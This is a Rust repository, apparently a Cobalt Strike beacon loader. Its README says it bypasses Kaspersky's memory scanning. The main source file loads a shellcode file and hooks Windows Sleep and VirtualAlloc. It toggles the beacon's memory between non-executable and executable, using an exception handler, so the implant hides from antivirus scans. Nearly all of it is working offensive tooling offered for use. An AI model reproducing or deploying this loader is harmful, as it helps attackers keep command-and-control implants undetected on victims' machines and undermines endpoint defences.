├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── README.md ├── assets └── beacon.bin └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "beacon_hook_bypass_memscan" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "detour", 10 | "lazy_static", 11 | "region 3.0.0", 12 | "winapi 0.3.9", 13 | ] 14 | 15 | [[package]] 16 | name = "bitflags" 17 | version = "1.3.2" 18 | source = "registry+https://github.com/rust-lang/crates.io-index" 19 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 20 | 21 | [[package]] 22 | name = "cc" 23 | version = "1.0.70" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "d26a6ce4b6a484fa3edb70f7efa6fc430fd2b87285fe8b84304fd0936faa0dc0" 26 | 27 | [[package]] 28 | name = "cfg-if" 29 | version = "1.0.0" 30 | source = "registry+https://github.com/rust-lang/crates.io-index" 31 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 32 | 33 | [[package]] 34 | name = "detour" 35 | version = "0.8.1" 36 | source = "registry+https://github.com/rust-lang/crates.io-index" 37 | checksum = "f3c83fabcc3bc336e19320c13576ea708a15deec201d6b879b7ad1b92734d7b9" 38 | dependencies = [ 39 | "cfg-if", 40 | "generic-array", 41 | "lazy_static", 42 | "libc", 43 | "libudis86-sys", 44 | "mmap-fixed", 45 | "region 2.2.0", 46 | "slice-pool", 47 | ] 48 | 49 | [[package]] 50 | name = "generic-array" 51 | version = "0.14.4" 52 | source = "registry+https://github.com/rust-lang/crates.io-index" 53 | checksum = "501466ecc8a30d1d3b7fc9229b122b2ce8ed6e9d9223f1138d4babb253e51817" 54 | dependencies = [ 55 | "typenum", 56 | "version_check", 57 | ] 58 | 59 | [[package]] 60 | name = "kernel32-sys" 61 | version = "0.2.2" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" 64 | dependencies = [ 65 | "winapi 0.2.8", 66 | "winapi-build", 67 | ] 68 | 69 | [[package]] 70 | name = "lazy_static" 71 | version = "1.4.0" 72 | source = "registry+https://github.com/rust-lang/crates.io-index" 73 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 74 | 75 | [[package]] 76 | name = "libc" 77 | version = "0.2.101" 78 | source = "registry+https://github.com/rust-lang/crates.io-index" 79 | checksum = "3cb00336871be5ed2c8ed44b60ae9959dc5b9f08539422ed43f09e34ecaeba21" 80 | 81 | [[package]] 82 | name = "libudis86-sys" 83 | version = "0.2.1" 84 | source = "registry+https://github.com/rust-lang/crates.io-index" 85 | checksum = "139bbf9ddb1bfc90c1ac64dd2923d9c957cd433cee7315c018125d72ab08a6b0" 86 | dependencies = [ 87 | "cc", 88 | "libc", 89 | ] 90 | 91 | [[package]] 92 | name = "mach" 93 | version = "0.3.2" 94 | source = "registry+https://github.com/rust-lang/crates.io-index" 95 | checksum = "b823e83b2affd8f40a9ee8c29dbc56404c1e34cd2710921f2801e2cf29527afa" 96 | dependencies = [ 97 | "libc", 98 | ] 99 | 100 | [[package]] 101 | name = "mmap-fixed" 102 | version = "0.1.5" 103 | source = "registry+https://github.com/rust-lang/crates.io-index" 104 | checksum = "27c1ae264d6343d3b4079549f6bc9e6d074dc4106cb1324c7753c6ce11d07b21" 105 | dependencies = [ 106 | "kernel32-sys", 107 | "libc", 108 | "winapi 0.2.8", 109 | ] 110 | 111 | [[package]] 112 | name = "region" 113 | version = "2.2.0" 114 | source = "registry+https://github.com/rust-lang/crates.io-index" 115 | checksum = "877e54ea2adcd70d80e9179344c97f93ef0dffd6b03e1f4529e6e83ab2fa9ae0" 116 | dependencies = [ 117 | "bitflags", 118 | "libc", 119 | "mach", 120 | "winapi 0.3.9", 121 | ] 122 | 123 | [[package]] 124 | name = "region" 125 | version = "3.0.0" 126 | source = "registry+https://github.com/rust-lang/crates.io-index" 127 | checksum = "76e189c2369884dce920945e2ddf79b3dff49e071a167dd1817fa9c4c00d512e" 128 | dependencies = [ 129 | "bitflags", 130 | "libc", 131 | "mach", 132 | "winapi 0.3.9", 133 | ] 134 | 135 | [[package]] 136 | name = "slice-pool" 137 | version = "0.4.1" 138 | source = "registry+https://github.com/rust-lang/crates.io-index" 139 | checksum = "733fc6e5f1bd3a8136f842c9bdea4e5f17c910c2fcc98c90c3aa7604ef5e2e7a" 140 | 141 | [[package]] 142 | name = "typenum" 143 | version = "1.14.0" 144 | source = "registry+https://github.com/rust-lang/crates.io-index" 145 | checksum = "b63708a265f51345575b27fe43f9500ad611579e764c79edbc2037b1121959ec" 146 | 147 | [[package]] 148 | name = "version_check" 149 | version = "0.9.3" 150 | source = "registry+https://github.com/rust-lang/crates.io-index" 151 | checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe" 152 | 153 | [[package]] 154 | name = "winapi" 155 | version = "0.2.8" 156 | source = "registry+https://github.com/rust-lang/crates.io-index" 157 | checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" 158 | 159 | [[package]] 160 | name = "winapi" 161 | version = "0.3.9" 162 | source = "registry+https://github.com/rust-lang/crates.io-index" 163 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 164 | dependencies = [ 165 | "winapi-i686-pc-windows-gnu", 166 | "winapi-x86_64-pc-windows-gnu", 167 | ] 168 | 169 | [[package]] 170 | name = "winapi-build" 171 | version = "0.1.1" 172 | source = "registry+https://github.com/rust-lang/crates.io-index" 173 | checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" 174 | 175 | [[package]] 176 | name = "winapi-i686-pc-windows-gnu" 177 | version = "0.4.0" 178 | source = "registry+https://github.com/rust-lang/crates.io-index" 179 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 180 | 181 | [[package]] 182 | name = "winapi-x86_64-pc-windows-gnu" 183 | version = "0.4.0" 184 | source = "registry+https://github.com/rust-lang/crates.io-index" 185 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 186 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "beacon_hook_bypass_memscan" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [dependencies] 7 | detour = "0.8.0" 8 | lazy_static = "1.4.0" 9 | region = "3.0.0" 10 | winapi = { version = "0.3.9", features = ["errhandlingapi", "libloaderapi", "synchapi", "winbase"] } 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # beacon_hook_bypass_memscan 2 | 3 | cs bypass卡巴斯基内存查杀: https://xz.aliyun.com/t/9399 4 | -------------------------------------------------------------------------------- /assets/beacon.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zu1k/beacon_hook_bypass_memscan/8b45d734d8b1025396de463b503e44e5999375a3/assets/beacon.bin -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate lazy_static; 3 | 4 | use detour::static_detour; 5 | use std::env; 6 | use std::fs::File; 7 | use std::io::Read; 8 | use std::sync::mpsc; 9 | use std::sync::Mutex; 10 | use std::thread; 11 | use std::{ffi::CString, iter, mem}; 12 | use winapi::shared::basetsd::{DWORD64, SIZE_T}; 13 | use winapi::shared::minwindef::{DWORD, LPVOID}; 14 | use winapi::shared::ntdef::LONG; 15 | use winapi::um::errhandlingapi::AddVectoredExceptionHandler; 16 | use winapi::um::libloaderapi::{GetModuleHandleW, GetProcAddress}; 17 | use winapi::um::winnt::PEXCEPTION_POINTERS; 18 | use winapi::vc::excpt::{EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH}; 19 | 20 | lazy_static! { 21 | static ref BEACON_ADDRESS: Mutex = Mutex::new(0); 22 | static ref BEACON_DATA_LEN: Mutex = Mutex::new(0); 23 | static ref EVENT_HANDLE: Mutex>> = Mutex::new(None); 24 | } 25 | 26 | static_detour! { 27 | static VirtualAllocHook: unsafe extern "system" fn(LPVOID, SIZE_T, DWORD, DWORD) -> LPVOID; 28 | static SleepHook: unsafe extern "system" fn(DWORD); 29 | } 30 | 31 | type Sleep = unsafe extern "system" fn(DWORD); 32 | type VirtualAlloc = unsafe extern "system" fn(LPVOID, SIZE_T, DWORD, DWORD) -> LPVOID; 33 | 34 | unsafe fn do_hook() { 35 | let address_sleep = get_module_symbol_address("kernelbase.dll", "Sleep") 36 | .expect("could not find 'Sleep' address"); 37 | let target_sleep: Sleep = mem::transmute(address_sleep); 38 | 39 | SleepHook 40 | .initialize(target_sleep, sleep_detour) 41 | .expect("SleepExHook initialize failed!") 42 | .enable() 43 | .expect("SleepExHook enable failed!"); 44 | 45 | let address_virtualalloc = get_module_symbol_address("kernel32.dll", "VirtualAlloc") 46 | .expect("could not find 'Sleep' address"); 47 | let target_virtualalloc: VirtualAlloc = mem::transmute(address_virtualalloc); 48 | 49 | VirtualAllocHook 50 | .initialize(target_virtualalloc, virtualalloc_detour) 51 | .expect("VirtualAllocHook initialize failed!") 52 | .enable() 53 | .expect("VirtualAllocHook enable failed!"); 54 | } 55 | 56 | fn sleep_detour(dw_milliseconds: DWORD) { 57 | println!("Sleep {}s", dw_milliseconds / 1000); 58 | if let Some(event_tx) = EVENT_HANDLE.lock().unwrap().clone() { 59 | let _ = event_tx.try_send(()); 60 | } 61 | unsafe { SleepHook.call(dw_milliseconds) } 62 | } 63 | 64 | fn virtualalloc_detour( 65 | lp_address: LPVOID, 66 | dw_size: SIZE_T, 67 | fl_allocation_type: DWORD, 68 | fl_protect: DWORD, 69 | ) -> LPVOID { 70 | println!("VirtualAlloc 分配大小: {}", dw_size); 71 | let address = 72 | unsafe { VirtualAllocHook.call(lp_address, dw_size, fl_allocation_type, fl_protect) }; 73 | println!("VirtualAlloc 分配地址: 0x{:X}", address as u64); 74 | *BEACON_ADDRESS.lock().unwrap() = address as usize; 75 | *BEACON_DATA_LEN.lock().unwrap() = dw_size as usize; 76 | address 77 | } 78 | 79 | unsafe extern "system" fn first_vect_excep_handler(p_excep_info: PEXCEPTION_POINTERS) -> LONG { 80 | let exception_record = *(*p_excep_info).ExceptionRecord; 81 | let context_record = *(*p_excep_info).ContextRecord; 82 | println!("异常错误码:{}", exception_record.ExceptionCode); 83 | println!("线程地址:{}", context_record.Rip); 84 | if exception_record.ExceptionCode == 0xc0000005 && is_exception(context_record.Rip) { 85 | println!("恢复Beacon内存属性"); 86 | let beacon_address = *BEACON_ADDRESS.lock().unwrap(); 87 | let beacon_data_len = *BEACON_DATA_LEN.lock().unwrap(); 88 | region::protect( 89 | beacon_address as *const u8, 90 | beacon_data_len, 91 | region::Protection::READ_WRITE_EXECUTE, 92 | ) 93 | .unwrap(); 94 | return EXCEPTION_CONTINUE_EXECUTION; 95 | } 96 | return EXCEPTION_CONTINUE_SEARCH; 97 | } 98 | 99 | fn is_exception(exception_addr: DWORD64) -> bool { 100 | let beacon_address = *BEACON_ADDRESS.lock().unwrap() as u64; 101 | let beacon_data_len = *BEACON_DATA_LEN.lock().unwrap() as u64; 102 | if exception_addr > beacon_address as u64 103 | && exception_addr < beacon_address as u64 + beacon_data_len as u64 104 | { 105 | println!("地址符合:{}", exception_addr); 106 | true 107 | } else { 108 | println!("地址不符合:{}", exception_addr); 109 | false 110 | } 111 | } 112 | 113 | fn beacon_set_memory_attributes_safe(rx: mpsc::Receiver<()>) { 114 | loop { 115 | let _ = rx.recv(); 116 | let beacon_address = *BEACON_ADDRESS.lock().unwrap(); 117 | let beacon_data_len = *BEACON_DATA_LEN.lock().unwrap(); 118 | println!( 119 | "设置Beacon内存属性不可执行: addr: 0x{:X} size: {}", 120 | beacon_address, beacon_data_len 121 | ); 122 | unsafe { 123 | region::protect( 124 | beacon_address as *const (), 125 | beacon_data_len, 126 | region::Protection::READ_WRITE, 127 | ) 128 | .unwrap(); 129 | } 130 | } 131 | } 132 | 133 | fn get_module_symbol_address(module: &str, symbol: &str) -> Option { 134 | let module = module 135 | .encode_utf16() 136 | .chain(iter::once(0)) 137 | .collect::>(); 138 | let symbol = CString::new(symbol).unwrap(); 139 | unsafe { 140 | let handle = GetModuleHandleW(module.as_ptr()); 141 | match GetProcAddress(handle, symbol.as_ptr()) as usize { 142 | 0 => None, 143 | n => Some(n), 144 | } 145 | } 146 | } 147 | 148 | unsafe fn mmain() { 149 | let beacon_path = match env::args().nth(1) { 150 | Some(p) => p, 151 | None => "./beacon.bin".into(), 152 | }; 153 | let mut file = File::open(beacon_path).unwrap(); 154 | let mut beacon = Vec::new(); 155 | for _ in 1..17 { 156 | beacon.push(0x90); 157 | } 158 | file.read_to_end(&mut beacon).unwrap(); 159 | // TODO: you should do some decryption. 160 | 161 | let beacon_size = beacon.len(); 162 | // transmute will copy bits -> change the pointer 163 | let code: extern "system" fn() -> ! = std::mem::transmute(beacon.as_ptr()); 164 | let beacon_ptr = code as *const (); 165 | 166 | println!( 167 | "beacon addr: 0x{:X}, size: {}", 168 | beacon_ptr as usize, beacon_size 169 | ); 170 | 171 | AddVectoredExceptionHandler(1, Some(first_vect_excep_handler)); 172 | do_hook(); 173 | 174 | let (tx, rx) = mpsc::sync_channel(1); 175 | { 176 | EVENT_HANDLE.lock().unwrap().replace(tx); 177 | } 178 | thread::spawn(move || { 179 | beacon_set_memory_attributes_safe(rx); 180 | }); 181 | 182 | region::protect( 183 | beacon_ptr as *const u8, 184 | beacon_size, 185 | region::Protection::READ_WRITE_EXECUTE, 186 | ) 187 | .expect("set shellcode region executeable failed!"); 188 | 189 | println!("start to execute shellcode"); 190 | code(); 191 | } 192 | 193 | fn main() { 194 | unsafe { mmain() } 195 | } 196 | --------------------------------------------------------------------------------